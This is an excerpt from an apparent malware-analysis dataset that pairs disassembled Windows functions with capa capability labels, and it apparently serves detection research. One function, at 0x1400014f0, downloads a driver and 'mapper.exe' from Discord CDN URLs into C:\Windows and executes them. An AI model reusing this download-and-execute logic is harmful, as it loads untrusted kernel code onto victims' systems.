joyce8/EMBER2024-capa huggingface dataset:
Function at 0x1401eeaf0
Capabilities:
Check if file exists
Get file attributes

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rsi, rcx
lea rcx, [rbp - 0x30]
call fcn.1401e9a70
mov rdi, qword [rbp - 0x28]
test rdi, rdi
je 0x1401eeb3f
mov rbx, qword [rbp - 0x30]
mov r14, qword [rbp - 0x20]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetFileAttributesW]
cmp eax, 0xffffffff
je 0x1401eebaa
mov qword [rsi], rbx
mov qword [rsi + 8], rdi
mov qword [rsi + 0x10], r14
jmp 0x1401eeb9f
mov rdx, qword [rbp - 0x30]
mov eax, edx
and eax, 3
cmp eax, 1
jne 0x1401eeb97
lea rax, [rdx - 1]
mov qword [rbp - 0x18], rax
mov rcx, qword [rdx - 1]
mov qword [rbp - 0x10], rdx
mov rax, qword [rdx + 7]
call qword [rax]
mov rax, qword [rbp - 0x10]
mov rax, qword [rax + 7]
mov rdx, qword [rax + 8]
test rdx, rdx
mov rdi, qword [rbp - 0x18]
je 0x1401eeb84
mov r8, qword [rax + 0x10]
mov rcx, qword [rdi]
call fcn.14001c240
mov edx, 0x18
mov r8d, 8
mov rcx, rdi
call fcn.14001c240
mov qword [rsi + 8], 0
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov qword [rsi + 8], 0
test rbx, rbx
je 0x1401eeb9f
add rbx, rbx
mov r8d, 2
mov rcx, rdi
mov rdx, rbx
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
jmp fcn.14001c240

Function at 0x1401ef730
Capabilities:
Generate random numbers via rtlgenrandom

Disassembly:
push rbp
sub rsp, 0x80
lea rbp, [rsp + 0x80]
mov qword [rbp - 8], 0xfffffffffffffffe
xorps xmm0, xmm0
movaps xmmword [rbp - 0x20], xmm0
lea rcx, [rbp - 0x20]
mov edx, 0x10
call qword [sym.imp.advapi32.dll_SystemFunction036]
test al, al
je 0x1401ef773
mov rax, qword [rbp - 0x20]
mov rdx, qword [rbp - 0x18]
add rsp, 0x80
pop rbp
ret
call qword [sym.imp.kernel32.dll_GetLastError]
shl rax, 0x20
or rax, 2
mov qword [rbp - 0x10], rax
lea rax, [rbp - 0x10]
mov qword [rbp - 0x30], rax
lea rax, [fcn.1401dbe30]
mov qword [rbp - 0x28], rax
lea rax, [0x1402a6030]
mov qword [rbp - 0x50], rax
mov qword [rbp - 0x48], 1
mov qword [rbp - 0x60], 0
lea rax, [rbp - 0x30]
mov qword [rbp - 0x40], rax
mov qword [rbp - 0x38], 1
lea rdx, str.library_std_src_syswindows_rand.rs
lea rcx, [rbp - 0x60]
call fcn.140217ad0
ud2
Function at 0x1401efe10
Capabilities:
Create thread

Disassembly:
push rbp
push r14
push rsi
push rdi
push rbx
sub rsp, 0x50
lea rbp, [rsp + 0x50]
mov qword [rbp - 8], 0xfffffffffffffffe
mov rdi, r8
mov rbx, rdx
mov r14, rcx
mov qword [rbp - 0x20], rdx
mov qword [rbp - 0x18], r8
mov ecx, 0x10
mov edx, 8
call fcn.14001c230
test rax, rax
je 0x1401efeea
mov rsi, rax
mov qword [rax], rbx
mov qword [rax + 8], rdi
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0x10000
lea r8, [0x1401eff70]
xor edi, edi
xor ecx, ecx
mov rdx, r14
mov r9, rax
call qword [sym.imp.kernel32.dll_CreateThread]
mov rdx, rax
test rax, rax
jne 0x1401efedc
mov rcx, qword [rsi]
mov qword [rbp - 0x10], rsi
mov rax, qword [rsi + 8]
call qword [rax]
mov rsi, qword [rbp - 0x10]
mov rax, qword [rsi + 8]
mov rdx, qword [rax + 8]
test rdx, rdx
je 0x1401efeb4
mov r8, qword [rax + 0x10]
mov rcx, qword [rsi]
call fcn.14001c240
mov edx, 0x10
mov r8d, 8
mov rcx, rsi
call fcn.14001c240
call qword [sym.imp.kernel32.dll_GetLastError]
mov edx, eax
shl rdx, 0x20
or rdx, 2
mov edi, 1
mov rax, rdi
add rsp, 0x50
pop rbx
pop rdi
pop rsi
pop r14
pop rbp
ret
mov ecx, 0x10
mov edx, 8
call fcn.1402179b0
ud2

Function at 0x1401f2290
Capabilities:
Resolve dns

Disassembly:
push r14
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x1f0
mov rsi, rcx
mov rdi, qword [rdx]
mov rbx, qword [rdx + 8]
movzx r14d, word [rdx + 0x10]
mov rax, qword [0x1403210a0]
cmp rax, 3
jne 0x1401f2387
cmp rbx, 0x17f
ja 0x1401f2399
lea rbp, [rsp + 0x70]
mov rcx, rbp
mov rdx, rdi
mov r8, rbx
call sub.VCRUNTIME140.dll_memcpy
mov byte [rsp + rbx + 0x70], 0
inc rbx
lea rcx, [rsp + 0x28]
mov rdx, rbp
mov r8, rbx
call fcn.1401fe8b0
cmp qword [rsp + 0x28], 0
je 0x1401f2314
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
jmp 0x1401f23aa
mov rcx, qword [rsp + 0x30]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x40], xmm0
movaps xmmword [rsp + 0x60], xmm0
movaps xmmword [rsp + 0x50], xmm0
mov dword [rsp + 0x48], 1
mov qword [rsp + 0x20], 0
lea r8, [rsp + 0x40]
lea r9, [rsp + 0x20]
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x1401f236e
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
jmp 0x1401f23aa
mov rax, qword [rsp + 0x20]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], r14w
xor eax, eax
mov qword [rsi], rax
jmp 0x1401f23aa
call fcn.140216bd0
cmp rbx, 0x17f
jbe 0x1401f22ca
mov rcx, rsi
mov rdx, rdi
mov r8, rbx
mov r9d, r14d
call fcn.140216c40
mov rax, rsi
add rsp, 0x1f0
pop rbx
pop rbp
pop rdi
pop rsi
pop r14
ret
Function at 0x140207810
Capabilities:
Encrypt data using rc4 prga

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x28
test r8, r8
je 0x14020788a
mov r11, rdx
mov rdx, qword [rsp + 0x70]
mov ebp, ecx
shr ebp, 8
lea r8, [r11 + r8*2]
xor eax, eax
mov rbx, r11
movzx edi, byte [r11 + 1]
add r11, 2
lea r10, [rax + rdi]
cmp byte [rbx], bpl
jne 0x140207880
cmp r10, rax
jb 0x14020791d
cmp r10, rdx
ja 0x140207931
add rax, r9
xor ebx, ebx
nop dword [rax]
cmp rdi, rbx
je 0x140207882
lea rsi, [rbx + 1]
cmp byte [rax + rbx], cl
mov rbx, rsi
jne 0x140207860
jmp 0x1402078f2
ja 0x14020788a
mov rax, r10
cmp r11, r8
jne 0x140207830
mov rdx, qword [rsp + 0x80]
test rdx, rdx
je 0x1402078f6
mov rsi, qword [rsp + 0x78]
add rdx, rsi
movzx ecx, cx
mov al, 1
nop word cs:[rax + rax]
lea rbx, [rsi + 1]
movzx edi, byte [rsi]
test dil, dil
js 0x1402078d0
mov rsi, rbx
sub ecx, edi
jns 0x1402078e9
jmp 0x1402078f8
cmp rbx, rdx
je 0x140207903
movzx ebp, byte [rsi + 1]
add rsi, 2
and edi, 0x7f
shl edi, 8
or edi, ebp
sub ecx, edi
js 0x1402078f8
xor al, 1
cmp rsi, rdx
jne 0x1402078b0
jmp 0x1402078f8
xor eax, eax
jmp 0x1402078f8
mov al, 1
and al, 1
add rsp, 0x28
pop rbx
pop rbp
pop rdi
pop rsi
ret
lea rcx, [0x1402a8cc9]
lea r8, str.librarycore_srcunicodeprintable.rs
mov edx, 0x2b
call fcn.140217b70
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, rax
mov rdx, r10
call fcn.140218050
ud2
lea r8, str.librarycore_srcunicodeprintable.rs
mov rcx, r10
call fcn.140218040
ud2
Function at 0x14020aa60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.kernel32.dll_GetModuleHandleW]
test rax, rax
je 0x14020aaaa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x14020aaaa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x14020aaaa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x14020aaaa
cmp dword [rcx + 0x84], 0xe
jbe 0x14020aaaa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x14020aaac
xor al, al
add rsp, 0x28
ret

Function at 0x140215d30
Capabilities:
Link many functions at runtime

Disassembly:
push rbp
push rsi
push rdi
push rbx
sub rsp, 0x58
lea rbp, [rsp + 0x50]
mov qword [rbp], 0xfffffffffffffffe
lea rcx, str.api_ms_win_core_synch_l1_2_0.dll
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x140215d94
mov rsi, rax
lea rdx, [0x14026d181]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140215d94
mov rbx, rax
lea rdx, [0x14026d18f]
mov rcx, rsi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140215d94
mov rsi, rax
mov eax, 1
jmp 0x140215e20
lea rcx, [0x14026d1a3]
call qword [sym.imp.kernel32.dll_GetModuleHandleA]
test rax, rax
je 0x140215ea1
mov rdi, rax
lea rdx, [0x14026d1ad]
mov rcx, rax
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140215ea1
mov rbx, rax
lea rdx, [0x14026d1c0]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140215ea1
mov rsi, rax
lea rdx, [0x14026d1d4]
mov rcx, rdi
call qword [sym.imp.kernel32.dll_GetProcAddress]
test rax, rax
je 0x140215ea1
mov rdi, rax
lea rcx, [rbp - 0x28]
mov edx, 0xc0000000
xor r8d, r8d
xor r9d, r9d
call rbx
test eax, eax
jne 0x140215ea1
mov rbx, qword [rbp - 0x28]
xor eax, eax
mov qword [rbp - 0x28], rax
mov qword [rbp - 0x20], rbx
mov qword [rbp - 0x18], rsi
mov qword [rbp - 0x10], rdi
mov ecx, 0x20
mov edx, 8
call fcn.14001c230
test rax, rax
je 0x140215ebb
mov rcx, rax
movups xmm0, xmmword [rbp - 0x28]
movups xmm1, xmmword [rbp - 0x18]
movups xmmword [rax + 0x10], xmm1
movups xmmword [rax], xmm0
xor eax, eax
lock cmpxchg qword [0x140320f98], rcx
je 0x140215e95
mov rsi, rax
cmp qword [rcx], 0
mov qword [rbp - 8], rcx
jne 0x140215e7e
mov rax, qword [rbp - 8]
mov rcx, qword [rax + 8]
call qword [sym.imp.kernel32.dll_CloseHandle]
mov edx, 0x20
mov r8d, 8
mov rcx, qword [rbp - 8]
call fcn.14001c240
mov rcx, rsi
mov rax, rcx
add rsp, 0x58
pop rbx
pop rdi
pop rsi
pop rbp
ret
lea rcx, str.parking_lot_requires_either_NT_Keyed_Events__WinXP__or_WaitOnAddress_WakeByAddress__Win8_C:UsersAdministrator.cargo_registry_srcgithub.com_1ecc6299db9ec823parking_lot_core_0.9.7_src_thread_parkerwindowsmod.rs
lea r8, [0x14026d148]
mov edx, 0x5b
call fcn.140215f60
jmp 0x140215eca
mov ecx, 0x20
mov edx, 8
call fcn.1402179b0
ud2
Function at 0x140216c40
Capabilities:
Resolve dns

Disassembly:
push rsi
push rdi
push rbp
push rbx
sub rsp, 0x88
mov ebp, r9d
mov rsi, rcx
lea rcx, [rsp + 0x30]
call fcn.1401fa3b0
mov rcx, qword [rsp + 0x40]
test rcx, rcx
je 0x140216c9b
lea rax, str.file_name_contained_an_unexpected_NUL_byte
mov qword [rsi + 8], rax
mov qword [rsi], 1
mov rdx, qword [rsp + 0x38]
test rdx, rdx
je 0x140216d14
mov r8d, 1
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
jmp fcn.14001c240
mov rdi, qword [rsp + 0x30]
mov rbx, qword [rsp + 0x38]
xorps xmm0, xmm0
movaps xmmword [rsp + 0x50], xmm0
movaps xmmword [rsp + 0x70], xmm0
movaps xmmword [rsp + 0x60], xmm0
mov dword [rsp + 0x58], 1
mov qword [rsp + 0x28], 0
lea r8, [rsp + 0x50]
lea r9, [rsp + 0x28]
mov rcx, rdi
xor edx, edx
call qword [sym.imp.ws2_32.dll_getaddrinfo]
test eax, eax
je 0x140216d21
call qword [sym.imp.ws2_32.dll_WSAGetLastError]
shl rax, 0x20
or rax, 2
mov qword [rsi + 8], rax
mov eax, 1
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
je 0x140216d14
mov r8d, 1
mov rcx, rdi
mov rdx, rbx
call fcn.14001c240
nop
add rsp, 0x88
pop rbx
pop rbp
pop rdi
pop rsi
ret
mov rax, qword [rsp + 0x28]
mov qword [rsi + 8], rax
mov qword [rsi + 0x10], rax
mov word [rsi + 0x18], bp
xor eax, eax
mov qword [rsi], rax
mov byte [rdi], 0
test rbx, rbx
jne 0x140216d03
jmp 0x140216d14
Function at 0x1400014f0
Capabilities:
Create directory
Download url
Execute command
Receive data
Set console window title

Disassembly:
sub rsp, 0x68
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x50], rax
lea rcx, [0x1400033c8]
call qword [sym.imp.KERNEL32.dll_SetConsoleTitleA]
lea rcx, [rsp + 0x30]
call fcn.1400011d0
lea rcx, str.C:Windows_
call qword [sym.imp.api_ms_win_crt_filesystem_l1_1_0.dll__mkdir]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:Windows_sys_rand_1.sys
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1176686104192237668_1179703255312384052_sys_rand_1.sys
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
xor r9d, r9d
mov qword [rsp + 0x20], 0
lea r8, str.C:Windowsmapper.exe
xor ecx, ecx
lea rdx, str.https:__cdn.discordapp.com_attachments_1176686104192237668_1179703238287695882_mapper.exe
call qword [sym.imp.urlmon.dll_URLDownloadToFileW]
lea rcx, str.C:Windowsmapper.exe_C:Windows_sys_rand_1.sys
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
mov rdx, qword [rsp + 0x48]
cmp rdx, 0xf
jbe 0x1400015b8
mov rcx, qword [rsp + 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400015b3
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400015b3
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.140001600
xor eax, eax
mov rcx, qword [rsp + 0x50]
xor rcx, rsp
call fcn.1400015e0
add rsp, 0x68
ret

Function at 0x140001f60
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140001faa
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140001faa
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140001faa
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140001faa
cmp dword [rcx + 0x84], 0xe
jbe 0x140001faa
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140001fac
xor al, al
add rsp, 0x28
ret
Function at 0x140004294
Capabilities:
Get geographical location

Disassembly:
mov qword [rsp + 8], rbx
push rdi
sub rsp, 0x40
mov rdi, rdx
lea r8, [rsp + 0x60]
mov ebx, ecx
mov edx, 0x20000001
lea rcx, str._x_sys_default_locale
mov r9d, 2
call qword [sym.imp.KERNEL32.dll_GetLocaleInfoEx]
mov r8d, ebx
mov ecx, 0x1300
neg eax
sbb r9d, r9d
and qword [rsp + 0x30], 0
and r9d, dword [rsp + 0x60]
xor edx, edx
and dword [rsp + 0x28], 0
mov dword [rsp + 0x60], r9d
mov qword [rsp + 0x20], rdi
call qword [sym.imp.KERNEL32.dll_FormatMessageA]
mov edx, eax
test eax, eax
je 0x140004318
mov r8, qword [rdi]
dec r8
add r8, rdx
movzx ecx, byte [r8]
lea rax, [0x1400063d0]
cmp byte [rcx + rax], 0
je 0x140004318
dec r8
sub rdx, 1
jne 0x1400042fe
mov rbx, qword [rsp + 0x50]
mov rax, rdx
add rsp, 0x40
pop rdi
ret

Function at 0x140004d48
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x140004d92
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x140004d92
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], 0x4550
jne 0x140004d92
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x140004d92
cmp dword [rcx + 0x84], 0xe
jbe 0x140004d92
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x140004d94
xor al, al
add rsp, 0x28
ret
Function at 0x1400045b0
Capabilities:
Get common file path

Disassembly:
push rbx
sub rsp, 0x250
mov rax, qword [0x140075238]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rbx, rdx
mov qword [rsp + 0x28], rdx
xor eax, eax
mov dword [rsp + 0x20], eax
mov qword [rdx + 0x10], rax
mov qword [rdx + 0x18], 7
mov word [rdx], ax
mov dword [rsp + 0x20], 1
xor edx, edx
mov r8d, 0x208
lea rcx, [rsp + 0x30]
call fcn.14002f630
mov edx, 0x104
lea rcx, [rsp + 0x30]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
test eax, eax
je 0x14000464f
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], 0
jne 0x140004622
lea rdx, [rsp + 0x30]
mov rcx, rbx
call fcn.14000b3c0
mov r8d, 0xc
lea rdx, [0x140054b18]
mov rcx, rbx
call fcn.14000b0e0
mov rax, rbx
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14002d580
add rsp, 0x250
pop rbx
ret
Function at 0x140010ed0
Capabilities:
Query or enumerate registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x10], rbp
mov qword [r11 + 0x18], rsi
mov qword [r11 + 0x20], rdi
push r14
sub rsp, 0x50
mov rbp, r9
mov rbx, r8
mov rdi, rdx
mov rsi, rcx
xor r14d, r14d
mov qword [r11 - 0x20], r14
lea rax, [r11 - 0x20]
mov qword [r11 - 0x38], rax
mov r9d, 0x20119
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140010f55
lea rax, [rsp + 0x38]
mov qword [rsp + 0x20], rax
mov r9d, 0x20219
xor r8d, r8d
mov rdx, rbx
mov rcx, rdi
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
test eax, eax
je 0x140010f55
mov rdx, qword [rsp + 0x80]
mov rcx, rsi
call fcn.140002df0
jmp 0x140011009
mov dword [rsp + 0x34], r14d
mov dword [rsp + 0x30], 0x400
mov ecx, 0x800
call fcn.14002cf14
mov rdi, rax
mov qword [rsp + 0x40], rax
mov r8d, dword [rsp + 0x30]
add r8, r8
xor edx, edx
mov rcx, rax
call fcn.14002f630
lea rax, [rsp + 0x30]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rdi
lea r9, [rsp + 0x34]
xor r8d, r8d
mov rdx, rbp
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegQueryValueExW]
mov ebx, eax
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
test ebx, ebx
je 0x140010fce
mov rdx, qword [rsp + 0x80]
mov rcx, rsi
call fcn.140002df0
jmp 0x140010ffc
mov qword [rsi + 0x10], r14
mov qword [rsi + 0x18], 7
mov word [rsi], r14w
mov r8, 0xffffffffffffffff
inc r8
cmp word [rdi + r8*2], 0
jne 0x140010fe5
mov rdx, rdi
mov rcx, rsi
call fcn.14000b3c0
nop
test rdi, rdi
je 0x140011009
mov rcx, rdi
call fcn.14002cf0c
mov rax, rsi
mov rbx, qword [rsp + 0x60]
mov rbp, qword [rsp + 0x68]
mov rsi, qword [rsp + 0x70]
mov rdi, qword [rsp + 0x78]
add rsp, 0x50
pop r14
ret
Function at 0x140011030
Capabilities:
Get common file path

Disassembly:
mov qword [rsp + 0x20], rbx
push rdi
sub rsp, 0x250
mov rax, qword [0x140075238]
xor rax, rsp
mov qword [rsp + 0x240], rax
mov rax, qword gs:[0x58]
mov rbx, rcx
mov qword [rsp + 0x20], rcx
mov ecx, dword [0x140077568]
mov edx, 4
mov rax, qword [rax + rcx*8]
mov ecx, dword [rdx + rax]
cmp dword [0x140076d98], ecx
jg 0x1400111c9
cmp qword [0x140075010], 0
lea rdi, [section..data]
jne 0x14001110b
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
je 0x14001110b
lea rax, [rsp + 0x30]
mov r8, 0xffffffffffffffff
nop
inc r8
cmp word [rax + r8*2], 0
jne 0x1400110b0
lea rdx, [rsp + 0x30]
mov rcx, rdi
call fcn.14000b3c0
mov rax, qword [0x140075010]
lea rcx, [rax - 1]
cmp rax, rcx
jbe 0x1400111c3
cmp qword [0x140075018], 8
mov rax, rdi
cmovae rax, qword [section..data]
cmp word [rax + rcx*2], 0x5c
je 0x14001110b
mov r8d, 1
lea rdx, [0x140054bf4]
mov rcx, rdi
call fcn.14000b0e0
xor eax, eax
mov qword [rsp + 0x268], rbp
mov qword [rbx + 0x10], rax
mov qword [rbx + 0x18], rax
cmp qword [0x140075018], 8
mov rbp, qword [0x140075010]
cmovae rdi, qword [section..data]
mov qword [rsp + 0x270], rsi
cmp rbp, 8
jae 0x14001114d
movups xmm0, xmmword [rdi]
lea esi, [rax + 7]
movups xmmword [rbx], xmm0
jmp 0x140011187
movabs rax, 0x7ffffffffffffffe
mov rsi, rbp
or rsi, 7
mov rcx, rbx
cmp rsi, rax
cmova rsi, rax
lea rdx, [rsi + 1]
call fcn.14000afe0
lea r8, [rbp*2 + 2]
mov qword [rbx], rax
mov rdx, rdi
mov rcx, rax
call fcn.14002f220
mov qword [rbx + 0x10], rbp
mov rax, rbx
mov qword [rbx + 0x18], rsi
mov rsi, qword [rsp + 0x270]
mov rbp, qword [rsp + 0x268]
mov rcx, qword [rsp + 0x240]
xor rcx, rsp
call fcn.14002d580
mov rbx, qword [rsp + 0x278]
add rsp, 0x250
pop rdi
ret
call fcn.14000afc0
int3
lea rcx, [0x140076d98]
call fcn.14002d2f4
cmp dword [0x140076d98], 0xffffffff
jne 0x14001107e
lea rcx, [0x140052e40]
call fcn.14002d154
lea rcx, [0x140076d98]
call fcn.14002d294
jmp 0x14001107e
Function at 0x1400180e0
Capabilities:
Read file on windows

Disassembly:
mov qword [rsp + 0x18], rbx
mov qword [rsp + 0x20], rsi
push r14
sub rsp, 0x20
mov r14, r8
mov rsi, rdx
mov rbx, rcx
test r8, r8
jg 0x140018111
xor eax, eax
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
cmp qword [rcx + 0x68], 0
mov qword [rsp + 0x30], rbp
mov qword [rsp + 0x38], rdi
je 0x14001818b
mov rdi, r14
mov rcx, rbx
call fcn.14000a100
test rax, rax
jle 0x140018163
mov rdx, qword [rbx + 0x38]
cmp rdi, rax
mov rbp, rdi
mov rcx, rsi
cmovge rbp, rax
mov r8, rbp
mov rdx, qword [rdx]
call fcn.14002f220
mov rax, qword [rbx + 0x50]
sub rdi, rbp
sub dword [rax], ebp
mov rcx, qword [rbx + 0x38]
movsxd rax, ebp
add qword [rcx], rax
jmp 0x14001817b
mov rax, qword [rbx]
mov rcx, rbx
call qword [rax + 0x38]
cmp eax, 0xffffffff
je 0x140018183
mov byte [rsi], al
dec rdi
mov ebp, 1
add rsi, rbp
test rdi, rdi
jg 0x140018125
sub r14, rdi
jmp 0x140018278
mov rax, qword [rcx + 0x38]
mov rbp, r14
mov rdx, qword [rax]
test rdx, rdx
je 0x1400181a2
mov rax, qword [rcx + 0x50]
mov ecx, dword [rax]
jmp 0x1400181a4
xor ecx, ecx
movsxd rax, ecx
test ecx, ecx
je 0x1400181d9
cmp rax, r14
mov rdi, r14
mov rcx, rsi
cmovb rdi, rax
mov r8, rdi
call fcn.14002f220
mov rax, qword [rbx + 0x50]
sub rbp, rdi
add rsi, rdi
mov r8, rbp
sub dword [rax], edi
mov rcx, qword [rbx + 0x38]
movsxd rax, edi
add qword [rcx], rax
cmp qword [rbx + 0x80], 0
je 0x140018275
mov r9, qword [rbx + 0x18]
lea rax, [rbx + 0x70]
cmp qword [r9], rax
jne 0x140018214
mov rcx, qword [rbx + 0x88]
mov rdx, qword [rbx + 0x90]
mov qword [r9], rcx
sub edx, ecx
mov rax, qword [rbx + 0x38]
mov qword [rax], rcx
mov rax, qword [rbx + 0x50]
mov dword [rax], edx
mov rdi, r8
cmp r8, 0xfff
jbe 0x140018250
mov r9, qword [rbx + 0x80]
mov edx, 1
mov r8d, 0xfff
mov rcx, rsi
call fcn.140038aa8
sub rbp, rax
add rsi, rax
mov rdi, rbp
cmp rax, 0xfff
jne 0x140018296
cmp rbp, rax
ja 0x140018220
mov r8, rdi
test rdi, rdi
je 0x140018275
mov r9, qword [rbx + 0x80]
mov r8, rbp
mov edx, 1
mov rcx, rsi
call fcn.140038aa8
mov r8, rdi
sub r8, rax
sub r14, r8
mov rbp, qword [rsp + 0x30]
mov rax, r14
mov rdi, qword [rsp + 0x38]
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret
sub r14, rbp
jmp 0x140018278
Function at 0x140018350
Capabilities:
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
push r14
sub rsp, 0x20
cmp qword [rcx + 0x68], 0
mov r14, r8
mov rbp, rdx
mov rdi, rcx
je 0x1400183ea
mov rbx, r8
test r8, r8
jle 0x1400183e2
mov rcx, rdi
call fcn.14000ae00
test rax, rax
jle 0x1400183c0
mov rcx, qword [rdi + 0x40]
cmp rbx, rax
mov rsi, rbx
mov rdx, rbp
cmovge rsi, rax
mov r8, rsi
mov rcx, qword [rcx]
call fcn.14002f220
mov rax, qword [rdi + 0x58]
sub rbx, rsi
sub dword [rax], esi
mov rcx, qword [rdi + 0x40]
movsxd rax, esi
add qword [rcx], rax
jmp 0x1400183da
mov rax, qword [rdi]
mov rcx, rdi
movzx edx, byte [rbp]
call qword [rax + 0x18]
cmp eax, 0xffffffff
je 0x1400183e2
dec rbx
mov esi, 1
add rbp, rsi
test rbx, rbx
jg 0x140018382
sub r14, rbx
mov rax, r14
jmp 0x140018461
mov rax, qword [rcx + 0x40]
mov rsi, r14
mov r9, qword [rax]
test r9, r9
je 0x140018401
mov rax, qword [rcx + 0x58]
mov ecx, dword [rax]
jmp 0x140018403
xor ecx, ecx
movsxd rbx, ecx
test r14, r14
jle 0x14001845b
test ecx, ecx
jle 0x140018437
cmp r14, rbx
mov rcx, r9
cmovl rbx, r14
mov r8, rbx
call fcn.14002f220
mov rax, qword [rdi + 0x58]
add rbp, rbx
sub r14, rbx
sub dword [rax], ebx
mov rcx, qword [rdi + 0x40]
movsxd rax, ebx
add qword [rcx], rax
test r14, r14
jle 0x14001845b
mov r9, qword [rdi + 0x80]
test r9, r9
je 0x14001845b
mov r8, r14
mov edx, 1
mov rcx, rbp
call fcn.140039010
sub r14, rax
sub rsi, r14
mov rax, rsi
mov rbx, qword [rsp + 0x30]
mov rbp, qword [rsp + 0x38]
mov rsi, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
add rsp, 0x20
pop r14
ret